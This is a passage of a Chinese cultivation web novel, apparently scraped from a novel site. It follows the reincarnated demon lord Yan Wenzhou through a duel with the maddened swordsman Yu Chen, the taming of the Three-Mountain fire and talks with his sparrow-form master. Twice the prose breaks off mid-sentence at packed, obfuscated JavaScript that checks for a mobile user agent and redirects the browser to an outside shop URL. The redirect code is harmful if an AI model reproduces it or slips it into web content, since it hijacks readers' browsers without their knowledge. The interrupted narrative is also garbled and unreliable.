左右无事发生,严文洲便也不折腾了,太清宗这群弟子都是金丹修为,不至于把自己怎么样,冷淡地朝几人拱拱手便要去寻于琛的踪迹。事到如今,他也不知道对方到底是为了万灵灯而来,还是找了个由头将自己骗过来。 刚飘开几丈,身后又是几声惊呼,他只得听几声凄惨的笑声,熟悉的剑气便又飞掠过身侧。 “太清宗,哈哈哈,太清宗!”于琛手持火焰长剑,一边大笑着,一边脚踏虚空朝严文洲袭来,状若疯癫。 作为打乱了钟慎吸收三山离火节奏的罪魁祸首,他自然是三山离火的头号攻击对象,纵然修为已至化神,面对这么铺天盖地又猝不及防的丹火,形象也不会好到哪里去。 况且,于琛已是走火入魔,无可救药。 太清宗几人也明白这点,瞬间飘开十来丈远,将战场让给了严文洲,心急如焚地叫着钟慎,希冀于这人能再多清醒几分。 两人便在钟府众人的哭号和太清宗几人的呼喊下又打了起来。 火光飘摇,衣袍猎猎,刀光剑影闪成一片,若不论此时场景,是极好看、极精彩的。 只可惜,在场的不是困于大火,便是心有挂念,都无心思去看。 闪躲了几次,白鱼刀咻一声划出半弧,和长剑擦着毫厘距离而过,正中于琛小臂,鲜血喷涌而出。长剑脱手,在钟府院墙上砸出一声脆响,而黑衣剑修也颓然地坠了下去。 严文洲见于琛已到油尽灯枯之时,终于忍不住好奇,问道:“我到底和你有什么仇?” 于琛盯着近在咫尺的霜衣青年,两行血泪蜿蜒而下——怎么能问出这样的问题呢!?百年苦修都因此人化为泡影,修为再不得寸进,居然还在这里问有什么仇怨!? 他心中陡然升起一个古怪的念头,看向严文洲的眼神愈发愤恨难言,忽地伸手极其用力地抓住了严文洲的衣袖,“你还记不记得,天乐城的那次比试?” 这番动作古怪又激烈,眼神里甚至莫名其妙地有些希冀,像是垂死挣扎拉个垫背的,又像是临终前托付遗嘱。严文洲怔愣了瞬间,才在记忆深处搜刮出了这回事,困惑地点头道,“哦,记得,我当时的对手不就是你么?” 于琛一双通红的眼珠里立刻生出些喜色,嘴角也扬了起来,甚至放声大笑了起来。没错,当时的自己初出茅庐,自视甚高,却在天乐城碰上了一个不该碰到的人,一位刀客,精彩绝艳,行事张扬,走到那里都是人群瞩目的焦点。 自己不服气,一试之下,输了。 而后便是一输再输。 一直到那人飞速成长为东极道主,从此自己便再不会赢了。 他很多次都在想,太清宗的人为什么不更干脆一点呢,为什么这么多人追捕,却还是让他拜入东极道了呢,为什么明明玄天卷早已有所预示,却还是有人拼命为他开脱呢? 这么多不甘,还是比不上亲眼见到这人的痛苦——明明心魔渐消,这人为什么又回来了?!于琛惨烈的笑声猛然一顿,含含糊糊地嚎哭起来,“为什么,为什么你没死?为什么你又活了?” 这个问题严文洲自己也很想知道答案,而面对这么凄惨的一人,他也确实编不出瞎话,于是道:“我也不知道。” 此话一出,又哭又笑,已然只剩下半口气的于琛呆住了,直愣愣地抬头看了严文洲许久,似乎能从脸上看出些什么一样。 严文洲长叹一声,正要再说,却见于琛神情一变,抬手召来长剑,干脆利落地插进了自己灵台。 手法漂亮,剑意凛然。 一如他杀钟家老祖一样。 化神剑修自戕的动静便不是钟家老祖那般的小打小闹了,立刻有一阵无名长风吹彻安原郡,刮得树折楼摇,连杜衡设下的禁制都开始摇摇晃晃,在钟家晃荡了许久的三山离火一下找到了机会,对着薄弱点猛撞出了一个小洞,而后平地烟花似的冲了出去。 咻——长街上闪现过无数火流。 严文洲神情微妙地回了神,方才于琛自戕时,还说了最后一句话——“我的心魔,是你。” 虽然仍是没拼凑出整件事,但看于琛的模样和他数百年没怎么长进的剑术,这大概是个极不美妙的故事。 小山雀自力更生地爬到了严文洲肩膀上,脑袋一歪,轻轻啄了一下,“败于你手的人多如过江之鲫,是他自己想不开。” 严文洲嗯了一声,手指若有所思地在山雀毛茸茸的脑袋上蹭了蹭,手感极好,堪比最上乘的绸缎。安静了没几秒的耳边又不合时宜地炸开一道尖啸:“啊啊啊——我这是怎么回事!?” 唔,那傻小子总算是清醒了。 严文洲沉沉叹了口气,扭头看了一眼又飞速收回眼神,只开口道:“收起你的三山离火,这里可是安原郡。” 钟慎还处在震惊中,却下意识地照做了,可愈是照做愈是清醒,愈是清醒,便愈是崩溃,“虞师姐!你、你怎么在这里?我我我……” 虞霖也很崩溃,明明只是和同门接了一个定水城除妖邪的寻常任务,回来的时候在半道儿歇歇脚罢了,怎么这么巧碰上了化神和元婴打架,甚至还有一个筑基期的同门在这里凑热闹!? 飞速扫了一眼陌生但似乎和钟慎关系不错的元婴修士,她勉强控制住表情,催促起来:“你快些控制住三山离火,我这里可没有四海真水!其他的事之后再说!” 钟慎叫苦不迭,虽然在新月湾小秘境中就得了三山离火,可过程实在是稀里糊涂的,而且一出秘境便被封印住了! 什么控制住,他连这东西存在哪儿都没摸清!欲哭无泪之下,三山离火越发欢腾,一抖一个震天雷,响得比竹筒爆豆子还要密集。 “我、我……” “钟兄,安原郡数万生灵的命,可就系于你一人之身了!” 严文洲一看钟慎那可怜样儿便知道这人要说什么,三山离火虽不得杜衡之心,但毕竟也还算是件四洲称得上名号的好东西。这样的东西放在一个筑基修士身上会让人不放心,放一道封印暂时压制住,而后跟着修为上升逐步解封是再正常不过了。 不过,其他修士是其他修士,钟慎是钟慎,其他修士控制不了的,钟慎却未必。再者,这傻小子也许笨了点,心思却纯正,如此危机关头,说不定真能逼出些什么。 严文洲十分期待地看着钟慎,完全没有骗人的自觉。 “……我明白了!” 钟慎当即双目微阖,一脸坚毅之色,周身灵力涌动,显然是在十二分努力了。 虞霖几人均看得目瞪口呆,完全没想到这陌生修士居然骗人骗得这么丝滑,而钟慎又相信得这么快——他难道没发现刚刚被三山离火撞出来的禁制漏洞已经又被补上了么!? 那只小雀分明不是凡物! 然而这么一骗确实十分有效,肆意蔓延的三山离火很快就开始朝钟慎收束起来,虽然速度慢似龟爬,但起码在动了。 几人俱是十分欣慰。 “嚯,还真行。”不知是谁嘀咕了这么一句。 砰——砰砰—— 好漂亮一片烟花。 一直到东方发白,点了整个钟府的三山离火才完全被钟慎收了回去,急匆匆赶来的太清宗长老这才缓缓松了口气,将手里盛着四海真水的玉瓶又塞回储物袋。抬眼一看,钟府诸人已经两眼含泪地将自己团团围住,而太清宗诸弟子声嘶力竭的劝阻声还在接连不断地响起。 太清宗长老:“……” 鉴于烟花放得实在太多,安原郡的民众昨天夜里就发现了不对,大惊之下立刻一传二,二传十,十传一百地编出了许多故事,连夜收拾包袱准备逃难,城门口一清早就排起了长队。 南洲虽不似东洲那般,仙门宗派占城池为王,但总归会对离得近的城池多加照拂,安原郡平日里便没少来太清宗弟子。 万民出城逃难,长官一大清早听到这重磅消息时差点昏过去,立刻马不停蹄地站到了钟府前。然而定定看了许久已经是一片废墟的钟府,再看看半空中的火人,他悠悠长叹一声,一个字也没说,直接转身回去写辞官折子了。 安原郡一片鸡飞狗跳,严文洲却躺在客栈睡了几个时辰,起来后还悠哉游哉地点了一桌菜。 虽是凡品,却颇有趣味,不似海东城里那般精致死板。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336944|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>胖山雀安静地蹲在一只细白磁盘上,玉雪玲珑,乍一看还以是一尊别致的酥山。 严文洲越看越喜欢,放下筷子,不安好心地轻戳了一下雪白的胸毛,又把指尖埋进毛里揉了揉。 果然温暖又柔软。 笃—— 微微用力,胖山雀向后跌坐,肚皮朝天,离冰凉可口的酥山只差一柄勺子。 “这么喜欢?”杜衡声音有些怪异。 “也还好。” “平常可不见你对我如此热情。” “……?” 这种吃醋方式,严文洲听都没听过,此时亲身经历了一番,立刻知晓其中威力。哭笑不得之下,立刻把一动不动的山雀扶正,用灵力一丝一丝地梳理好乱掉的羽毛,一边道:“你怎么什么醋都吃,若是寻常小雀,我怎么会如此在意?” 杜衡哼了一声,“那钟慎是为什么呢?” 严文洲暗笑,然而没憋住,笑得十分明目张胆,手一抖险些又将小山雀推倒了,“机缘巧合,我看那小子……” 不待说完,耳边响起几声刻意加重了的脚步声。 “道友好生惬意。” 严文洲抬头一看,还是个熟人——温世宜。 这位温家捧在掌心里的天才今日穿得十分中规中矩,只罩着一身简单的太清宗弟子服饰,还颇有些风尘仆仆,似乎是从别地刚赶过来。 严文洲故作讶异地寒暄了几句,这才刚想起来似的邀他入座。 温世宜也不推辞,施施然坐了下去,浅尝了一口酒便问道:“听长老说,钟府地下还有个万骨窟,严兄可是为此事而来?” 严文洲摇头,一脸唏嘘,“我是为了寻钟慎而来,万骨窟的事也是被钟家老祖坑害了才知道。没想到安原郡这么山明水秀的地方居然还藏着如此阴邪之地,也不知道钟家人是怎么藏住的。” 温世宜一脸惊讶,“钟兄?严道友怎么知道钟兄被困此处?” “哈哈,我师尊算的。” 小山雀一扭头,扑棱飞到了严文洲肩头,安安静静地蹲了下来。 温世宜微不可察地皱了皱眉,眼前一人一雀极是和谐,又都长得十分赏心悦目,合该是很养眼的,可他看着却渐渐升起一股烦躁。 深吸了口气,他笑道:“杜宗主的功绩我早已有所耳闻,以一人之力灭杀祁照水,何其惊人。况且尊师又和黑礁少主关系匪浅,如今晋升合体,更是位列当世大能,想来太易宗之后可是了不得了!” 四洲消息传得向来迅速,只是严文洲回来之后便直接闭关了,还真不知道如今的南洲是怎么说杜衡的。好奇之下,他不由多问了一句。 “唔,这个么,”温世宜摇了摇头,神色间有些尴尬,“传言而已,有些甚是古怪,说什么的都有,严道友还是不听为妙。” 严文洲更加好奇,不禁暗示性地摸了摸小雀毛茸茸的脑袋。 啪——他面带微笑地收回被扇了一翅膀的手指,“传言这种东西,愈是古怪愈好听,愈让人记得住,要不然怎么能传遍大街小巷呢?温道友无需多虑,快说说。” 温世宜准备了一肚子说辞,却没想到还有这招,好在他也不是初出茅庐的青涩小伙子,被人打乱了节奏就无话可说,稍稍顿了一下便说起了各种市井传闻。 什么算卦极灵,真仙转世啊,什么天生带第三只眼,见到人一眼就能判断吉凶啊,什么域外天魔见了他立即屁滚尿流狼狈逃窜啊…… 严文洲听得乐不可支,险些把肩膀上的胖山雀给抖下去。 “严道友,太易宗总归还是要收徒的,传言如此传下去,恐怕对太易宗不太有利。”温世宜提醒道。 严文洲顿时笑得更猖狂了——太易宗的玉牒都还没到手呢! 安原郡不算偏僻,但这个时节不是行商们较多的时节,再加上大部分人都背着行囊聚集在城门口,酒楼内只有寥寥几个客人,就连跑堂这个活儿也轮到了掌柜本人头上,毕竟小二也在城门口。 这位掌柜充分发挥了要钱不要命的架势,见多了一位明显修士模样的人,便立刻捧着菜单眼巴巴地凑上来,“两位可要添点什么?” 温世宜随意点了几个,又和颜悦色地问了几句钟家的事,这才若有所思地看向对面的严文洲。 春末的风已然温暖了许多,天光也大好,透过酒楼半新不旧的窗户将这人照得熠熠生辉,低头逗弄小山雀的样子极是温柔,似乎不是传闻中那个大摇大摆来寻钟慎的嚣张刀客。 察觉到温世宜的视线,严文洲扭头,笑眯眯道:“温道友是觉得我出现在此处很是蹊跷,对吧?” “严道友何出此言,只是有些好奇昨夜与严道友相争的那人……”不待说完,他便猛地一顿,眼神停在了客栈门口处。 严文洲顺着目光看过去,神情也微妙了起来。 钟慎却比两人更加困惑茫然,不知所措地走了两步才问道:“严大哥?温师兄?你怎么也在这里?” 49.三山离火(五) 此事说来话长,且并不能长话短说。 好在钟慎已然换了身齐整衣裳,虽有些精神不济,但也能安安稳稳坐在桌边了听温世宜讲来龙去脉了。 详细说起来,不过还是太清宗的门内悬赏。 太清宗声名在外,又弟子众多,碰到各种稀奇事自己无法解决来找太清宗帮忙的人便也多,弟子们接个悬赏顺道出门游历是常事。 温世宜便是接了一个调查安和城邪术的悬赏,但到了安和城才发现,所谓邪术并不是真有邪道修士作祟,而是一种未曾见过的疫病,一路查下去,线索却指向了钟家——所有人都是在接触到钟家弟子后才生的病。 自然,他得来安原郡一探究竟。 而就在这关头,钟府被三山离火整个儿烧了一遍,就连地下的万鬼窟也被一锅端了,便是有证据,也多半化为灰烬了。 钟慎听完直接呆住了,愧疚得无以复加,好半晌才道:“钟府的人都还活着,温师兄不如去问问他们?”说完,他自己也沉默了。毕竟,若是钟家真是幕后主使,怎会乖乖得和盘托出?若不是,去问一群刚刚被烧了家的人是否和安和城疫病有关,也实在不像话。 严文洲温言安慰了几句,正要旁敲侧击一下是否发现钟家老祖命灯已灭之事,温世宜却直接开口问起了钟慎为何会来到安原郡,言辞之间颇有些严厉。 钟慎不言,本就沮丧的脸色更加难看了,可以说是面若金纸,眼睛却是通红,似乎下一秒就能哭出满脸泪,配上一身白衣,真是可怜到了极点。 就连飞仙城那一回都没见他这样。 严文洲心中了然,钟慎既然出现在万鬼窟,那多半是身世暴露后被钟家老祖直接丢进去了。这小子重情重义,毕竟在钟府待了这么多年,这么干脆利落要除掉他,定然是伤心的。 不过这种事情也不好劝解,严文洲仔细想了半天,也没开口。反而是钟慎自己闷闷地给自己倒了杯酒,一口干了。 咳咳咳——咳嗽声惊天动地,惊得掌柜都伸长脖子看过来,生怕店里莫名其妙多了桩命案。 钟慎咚一声放下酒杯,低头颓丧地喊了一声:“我、我根本不是钟家子嗣!” 掌柜的:“……” 慢慢、慢慢地退到了后厨 严文洲故作讶异,眼角余光瞥了对面的翩翩公子一眼,见这人肉眼可见地尴尬了起来,似乎完全没料到这一出。 嚎完了这一句,钟慎一下像是卸下了心中包袱,嘀嘀咕咕了几句,瞪着通红的眼睛认真问道:“严大哥、温师兄,你说我要不要改个姓?” 严文洲微笑,“人生在世,自当随心。” 温世宜僵着脸点头附和。 三人就此别过,温世宜还得继续查安和城的疫病源头,而钟慎遭逢大变,又忙了一宿,正是需要好好休息的时候,转眼间,大堂里的客人便又少了两位。 严文洲兴致却佳,起身上楼时又叫了一壶清茶送到房里。 日上中天,房里一片透亮,昨夜的安神香还未散尽,熙攘人声从支起的窗子传进来,安宁而热闹。安原郡的人被太清宗庇佑惯了,对太清宗弟子极是信任,一时间虽都挤到了城门口,但弟子们一劝阻,多多少少又都回来了。 “阿蘅,你说温世宜说实话了么?” “没有。” “何以见得?” “我算出来的。” “听闻那温家子本是个好冶游爱美色的性子,如今一看却是完全不同,阿蘅可算出他是掩饰得好,还是谣言乱传?” “装的。” 严文洲也不知信了没有,笑了笑便抬手布下数道禁制,将房间围得有如铁桶一般,这才从储物袋中掏出一件东西——一只成人小臂长的烛台。 这东西造得高而细,青黑色的表面遍布花纹,细如牛毛又十分古朴,可本该放着蜡烛的地方却什么都没有,显得整支烛台暗沉沉的。 “万灵灯?”胖山雀一下飞了起来,绕着烛台兜了好几圈,显然十分疑惑,“你什么时候拿到的?” “鬼王死的时候。” 小山雀咻一下回转,又蹲到了严文洲肩膀上,“他吞了下去?难怪他要上那小子的身,吞了这东西便能离开万鬼窟了。不过这东西也不稀奇,万鬼窟又没了,你要它作甚?” 严文洲悠悠长叹,十分怀念传说中东极道主的宝藏,若是能亲眼见一见自己的藏宝库,说不定也能这样财大气粗了呢!话不多说,他径直送了道灵力过去。顿时,万灵灯上花纹明灭,空空荡荡的最上方陡然闪过一道光。 这光极其微弱,如春日的牛毛细雨,若是一不留神就根本不会发现,但又极有威势,甫一出现,熟悉又陌生的气息便飘散了出来。 “未明镜?”小山雀再度起飞,绕着万灵灯兜起了圈子。 严文洲看得弯了眼,好一会儿才道:“未明镜是太清宗至宝,虽说散落多年,怎么会弄得这一块哪里一块的,其中恐怕大有问题,说不定还涉及太清宗诸峰阴私。” 杜衡嗯了一声,又停回严文洲肩膀,“所以,你会还回去么?” “还回去送给温世宜?还是送给钟慎?” “为何是这二人?” 严文洲自知失言,立刻道:“自然是这二人看起来和未明镜大有机缘啊,上回不也是这二人么?” 杜衡早已听严文洲讲过之前的事,此刻听起来确实还有几分道理,然而他总觉得有些不对劲,正要想办法试探,耳边又传来一声:“阿蘅,这片未明镜你要么?” “……要。” 于是,严文洲便堂而皇之地将万灵灯又收回了储物袋,打算回了太易宗再取出未明镜碎片,自己安然撤掉禁制,预备着打道回府。 钟慎安然无恙,安原郡也只是少了点建筑物,继续留在这里也是招惹麻烦。 刚下楼,严文洲便背后一毛,下意识地飞窜了出去,下一刻,轰然雷动! 手腕粗的紫电消失在视野里,而酒楼房梁发出了明显不堪承受的咔擦声,片刻之间就能直接带着其他人一起入土。 严文洲扔了几道禁制,撑住摇摇欲坠的酒楼,周身灵气却开始飞速涌动,如汹涌波涛。 “……结丹了?” 着急忙慌冲过来的太清宗长老大惊,“谁结丹了?” “钟慎。” “啊!?”长老傻了眼,很快便喜不自胜,“不愧是明朔剑尊的弟子,果然了得,结丹都能引来天雷!前途可期,可期!” 跟着长老屁股后头冲过来的太清宗几人完全没听到前半句,不明白有什么可期的——可期酒楼要翻新了? 杜衡却冷笑一声,“禁制撑到他出来不是问题,快些回去,我想你了。” 严文洲被一句直白的“想你了”打了个措手不及,一时间只顾得上傻乐,连客栈前又呼啦啦来了一大群人也没在意。 东极道主的宝藏算什么?!一堆死物而已!再有意思能比得上杜衡这么一个大活人么? 他忽然觉得先前的自己甚是可怜,在东极道那把冰冷的椅子上一定坐得很孤苦。 “嘀——任务已完成,奖励正在发放中,请宿主于三日内前往长乐湖边悬崖摘取灵芝,过期不候。” 长乐湖,飞仙城附近著名的游玩之地,高峰入云端,低谷满是莳花异草,更有一汪清澈碧波荡漾,一年四季都有无数赏玩之人。 这种地方能长出地品灵芝? 严文洲陡然回神,十分怀疑系统所谓的长乐湖边悬崖指的是最高、最陡的那座雪峰顶端。那地方,可是御剑都有些费力,不到筑基期别想爬上去的地方! 此时此刻,天雷已散,七彩祥云慢慢吞吞地爬了上来,大中午的天空一时间十分吉祥。 太清宗诸弟子这才意识到发生了什么,脸上多了些笑意。经过昨夜,他们或多或少对这位能控制住三山离火的筑基期师弟有了几分敬佩,这么一结丹,事情总算有个还不错的结果了吧? 虞霖不动声色地扫了眼落在不远处的几位钟家修士,稍稍放心。 经此一役,钟家可以说是元气大伤,虽说人手几乎没少,但少了一个坐镇的元婴修士,怕是要跌落一层,若是能笼络到钟慎这么一个年轻有为的金丹修士,却说不定还能更上一层楼,应该不会太闹腾了吧?毕竟万骨窟的事情,钟府也算是自食其果。 太清宗弟子整宿都在盯着三山离火,天亮以后又在不停地给安原郡民众编瞎话安抚他们,根本没顾上了解到底发生了什么事,一时间完全想岔了。 严文洲扫了一眼,脚步后退,溜了。 半日后,长乐湖畔 天色已暮,斜晖照彻清湖,晚风吹拂,波光粼粼中带着几分凄清之感。 严文洲看着湖对面高耸入云的雪峰,又看看灵台里的简陋小地图,扭头朝最豪华的花船走去。 一炷香后,他朝管事的点了点头,抛出一只小储物袋,抬脚朝舱内走去。没走几步,杜衡怨念的声音便在耳边幽幽想起:“这么快就厌了我么?你好狠的心。” 话说得伤感,行动却很是雷厉风行,扑棱一下便飞出去停在了朱红栏杆上,只留下一个圆滚滚的背影。 再狠的心恐怕也没有这人的醋劲厉害。 严文洲琢磨了一下,还是直接将胖山雀揣到了自己怀里,“钟慎那小子颇有些古怪,一身魔气也不知是哪里来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352076|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,恐怕之后还要生事,我帮他不过是看他顺眼而已,其他也没什么。” 杜衡声音微妙,窝在怀里没动,“他是明朔剑尊的弟子,便是天塌下来,也有剑尊顶着,你担心什么?” 严文洲一怔,隐约想起了什么,但思及杜衡心里那口深不见底的醋缸却还是笑着附和了一句。 花船是靠法阵驱动,离岸后便自动朝湖心驶去。此时此刻,本该有妙音相伴,奈何吹拉弹唱的都被提前赶下了船,此刻船上只有水声和微弱的风声。 清净倒是清净,只是未免失之于凄凉。 严文洲站在甲板上看着日沉月出,又数了许久星星,忽然道:“阿蘅可想好了太玄峰主殿的翻修要用什么木料?” “青桐甚好。” “雕花呢?” “先前所用的就不错,只是难度颇高,恐怕还得多找几个有经验的炼器师来。” “陶峰主不行么?” “可以,只是太慢。” “这倒是。东洲的消息已然传到南洲,拜帖想来是少不了的,可要添几个门童杂役?” “太麻烦了,也太贵,用纸人便很不错。” …… 聊的都是琐碎事情,严文洲却也不觉得无趣,心情反而十分舒畅,不知过了多久他心中一动,扭头看去。甲板上已然多了一人,长身玉立,顾盼神飞,极为英武,只轻轻一瞥便知道这是个不好惹的修士。 一见严文洲,他便要行礼,但眼神落到小山雀上,动作又硬生生停住了。 “无妨。” 严文洲拍拍肩头,示意杜衡换个地方坐,自己抬脚朝船舱内走去。于琛早已叫破他的身份,隐瞒也只是徒增烦恼,更何况,杜衡猜到他的身份是迟早的事。 多遮掩一分,醋缸子便扩大一圈,实在无用。 花船是最豪华的花船,陈设也跟着价钱走,无一不是最上乘的东西,到处都写着“我很贵”三个字,严文洲大马金刀往那儿一坐,又给奢靡氛围添上了几分肃然冷意,仿佛这是便是东极道恶名在外的漆黑大殿。 常霁野跟进来,一眼便见到自己主上一脸笑意地逗弄着肩上明显有问题的胖山雀,脚下不由一顿。然而他一向是个很好的下属,既然主上说“无妨”,便定然是无妨,多问半句都是多事,于是只开口道: “东洲近来很不安稳,自修罗门门主死后,修罗门动作频频,三位长老都在往东极道安插探子,不过都被杀了。夜游宫蠢蠢欲动,似乎有吞并修罗门之心。而小蓬莱虽然寻回了七曜羽,但毕竟实力大减,三十三岛只剩九岛,那员侨岛岛主邀了还真山庄和九霄剑派,只是还真山庄却没去。另外……” 他顿了顿,难得踌躇了片刻,正要开口却听严文洲自然地接口道:“另外,谢渡出山后,东极道人心浮动,对吧?” “……是。” “谢渡近日如何?” “先是回了一趟偃月城,而后便带着数十只傀儡在北宸殿中大吃大喝,甚至还搭台排了几出戏。” “挺好的,”严文洲心情极佳,顺手又将胖团子端到掌心,舒舒服服摸了一把,“将谢渡要重回东极道的消息散出去,就说我与明朔剑尊一战后,伤重至极,东躲西藏时正好被谢渡寻到,然后这人新仇旧恨涌上心头,将我一刀杀了。” 话音刚落,胖山雀已经动作奇快地飞起来要啄一口,然而严文洲早已有防备,一个假动作便将小雀又搂进了怀里。 一切只在电光石火之间。 “……啊?”常霁野难得傻了眼,愣愣地看着再次懒懒散散倚在宽大椅子里的霜衣青年,怀疑自己认错了人。 不,就算是认错,也是彷徨刀和命灯认错了! 可除非是天下红雨,这两样性命相关联的东西怎么会认错呢!? 花船内顿时落针可闻。 常霁野仔仔细细地回想了一遍,觉得自从主上莫名其妙要和明朔剑尊比试开始,事情就变得古怪起来了。安安稳稳地做了百年四洲巅峰的东极道主,突然要和仙修死对头生死相斗,这不是脑子坏了是什么? 也不是没劝阻过,只是劝阻有什么用呢,不还是千里迢迢跑来了南洲,打得昏天黑地么? 死了,又活了,活了,却忘了…… 唔,是了,本来就是天魔随身,心思莫测的危险人物,若被打伤了脑子,可不得成现在这样么! 常霁野很不情愿承认自己效忠之人是个脑筋有问题的,但眼下的情况,似乎也只有一种解释了。 除非,主上另有安排! 正这么想着,耳边又传来一道含笑声音:“谢渡要东极道,便让他拿去好了,我只怕他不要。” 50.三山离火(六) 万里外,东极道。 谢渡看戏看得正开心,精致华丽的戏台上,傀儡正演到高潮,玉冠羽衣的修士望着自己半是天魔、半是人形的妻子,又看着第一宗门的血腥真相崩溃至极,凄惨号哭惊得鬼鬼祟祟摸进来脚下一踉跄,险些撞到戏台上。 好在最终是没有。 来人擦了擦汗,小心翼翼地看了眼高坐在戏台面前柔软扶手椅上的前任魔尊,悄无声息地一点点磨蹭了过去,活像一片会动的瘦高影子。 这可也是位极危险的主儿,比从前那位还要难伺候! 天知道这北宸殿最近拖出去了多少修士! 戏台子上又咿咿呀呀唱了一阵,瘦高个儿听出这是东洲最近最流行的戏本子之一,乍一听讲的还是最流行的那套草根修士飞上枝头变凤凰的故事,只是结局多半不很美妙,不是死了便是疯魔,很有影射小蓬莱先前那位掌教的意味。 这种结局糟糕的戏本子可不是一般人爱看的,可偏偏传播得极广,还愈发有更多的版本出现。不用说,定是有人推波助澜,弄不好,还跟自家有关。 然而这可不管自己的事。 瘦高个儿安安静静等着这一折结束——上一位贸然打断这一位看戏的,可是当场魂飞魄散,连被做成傀儡的机会都没有!又等了好一会儿,一直到外头晨光渐起,戏台上才渐渐安静了下来。 这一回,那位草根修士居然没死! 瘦高个儿来不及惊讶,立刻低声道:“属下探得一些消息,朱湛使似乎去了南洲。” 谢渡哼了一声,那后生不去南洲去哪儿,坐在这里陪他一起看戏?! 听着耳边不甚满意的声音,瘦高个儿冷汗都下来了,生怕自己下一刻就灰飞烟灭了,急忙道:“还有,南洲出现了三山离火的踪迹,似乎还跟一座万骨窟有关,有三山离火的修士是明朔剑尊的弟子。” “那个贺、贺什么?”谢渡想了许久才从脑海深处翻出这个名字,神情极是古怪,“三山离火怎么到了太清宗手里?” “不、不是贺循,是明朔剑尊新进收的第二位弟子,叫钟慎,出自安原郡钟家,”瘦高个儿一口气刚上来又提了起来,心脏紧张地怦怦跳,“对了,朱湛使也在那附近出现过。” 谁都觉得这位前任魔尊大张旗鼓闯入东极道,又嚣张地霸占了北宸殿在这里看戏听曲儿是要重新入主东极道,可他不这么觉得。 起码三山离火一事,便和东极道毫无关系。 虽然不知道这位尊者为什么点了自己来探寻三山离火的消息,而不是找上无极谷或者细雨门买消息,但既然有了这么一个露脸的机会,自然不能浪费!不过说起来,三山离火能克四海真水,又是几种奇物中不那么难寻的,用来对付清河使是极好的,到时候左膀右臂去其一…… 瘦高个儿被自己的猜测吓得胆战心惊,全然没发现谢渡的脸色更古怪了。 北宸殿内安静了下来,也不知过了多久,戏台上突然传出噔一声裂响,却是胡琴的弦断了一根。 谢渡微微抬手将胡琴摄了过来,摸出工具熟练地修起琴弦来,问道:“是钟家底下那座万骨窟?” 瘦高个儿点头称是,正犹豫要不要多问一句,便听谢渡一声长叹,“三日内,我要所有有关钟慎的消息。” 瘦高个儿如五雷轰顶,身体却已然下意识地应了一句,“是。” 弦断是小问题,谢渡百年来修过的琴弦没有几千也有大几百了,片刻后,新弦已经上好,调一调音准便可继续用了。 只是弦能如此,人却不能。 多年前,他那倒霉徒儿来偃月城拜师时,其实是个颇为不合适的档口。 自己旧伤复发,又逢修罗门那个老不死满东洲蹦跶,东极道内部也颇有些取而代之的意思,偃月城看似和平安宁如尘世间最美好的地方,实际上已经武装到了牙缝里,擦肩而过的每一个行人都是最上乘的傀儡,能瞬间吐出一串机关暗器和符箓法阵。 能在如此情况下闯入偃月城,还踩着刀潇洒无比放话的,整个四洲也没有几个人。 虽然他承认,自那小子踏入偃月城周围三十里时,自己便在暗暗关注了,但即便是放水,这也比那劳什子琼花宴的含金量高! 况且,百余岁的炼虚期,谁不喜欢! 论道理,都炼虚了,哪怕放在太清宗都能当一宗之主了,还拜什么师!但那小子既然如此,便是来高调换山头的! 谢渡一清二楚,见猎心喜,便不顾那些莫须有的人命了——有这小子顶在外面,一时半会儿出不了事,自己便能好生修养段时间了。 事实也确实如他所料,他这徒儿或许倒霉,但修为、刀术、心肠都是四洲一顶一的,手起刀落,从不心软,很快按下了东极道内部的混乱,又在不久后让修罗门那个老癫子吃了个大亏。 唯独只有一点不好——多年闭关并没能让自己将旧伤修养好。 这陈年旧伤是三山离火所致,需用极阴的千年阴灵芝才能化解,光是找个阴气充足的地方闭关,只会把自己搞成尸修那副僵尸模样。 好在,有了那段时间缓冲,他也能兴致勃勃再出来折腾了。 于是乎,又装模作样做了几年东极道主,可他还是觉得没有偃月城来得有意思,便跟他的倒霉徒儿暗示了一下,让他委屈一下,再倒霉一次。 谁曾想,他居然高高兴兴同意了。 挺好。 他自己挺好,就是徒儿不太好,性情似乎跑偏了。总觉得这仙修转过来的魔修或多或少都有些疯,譬如修罗门老门主,又譬如自己这个徒儿。 唉,说到底还是人太不经用了。 不过他这徒儿的命,真是四洲一等一得硬,不过看他这回选了个算命的,说不定还能改改运呢? 谢渡想了许久,连连叹气,直把头摇得跟拨浪鼓一样。 不多时,北宸殿外守着的东极道修士忽然惊醒——怎么有人出来了? 玉冠紫袍,腰间一把泥金扇子更先显风流潇洒,只是嘴角笑意十分微妙,像是要干大事。谢渡随意一扫,点了个看着顺眼的,“过来。” “尊、尊者。”那人战战兢兢地挪过去。 “随我去一趟修罗门。” 长乐湖上,常霁野浑然不知自己刚送来的消息又要大变,只瞪眼看着严文洲,疑心自己又听错了。 夜风微动,湖水荡漾,静谧得很,不可能啊! “啊这、这个……”他支吾了几声,实在没辙——怎么会有人问自己属下自己财宝都放在哪里!?那到底是谁的财宝!? 若是旁的下属被自己主上这样问起,那多半是要被按上一个觊觎财宝,以下犯上的名头死一下了,可自家这位么……常霁野想了又想,委婉道:“属下不知,只是先前隐约听主上提过,主上您因为有天魔相随,任何人看您时都可能短暂地看到一些十分渴求之物。” 严文洲:“……” 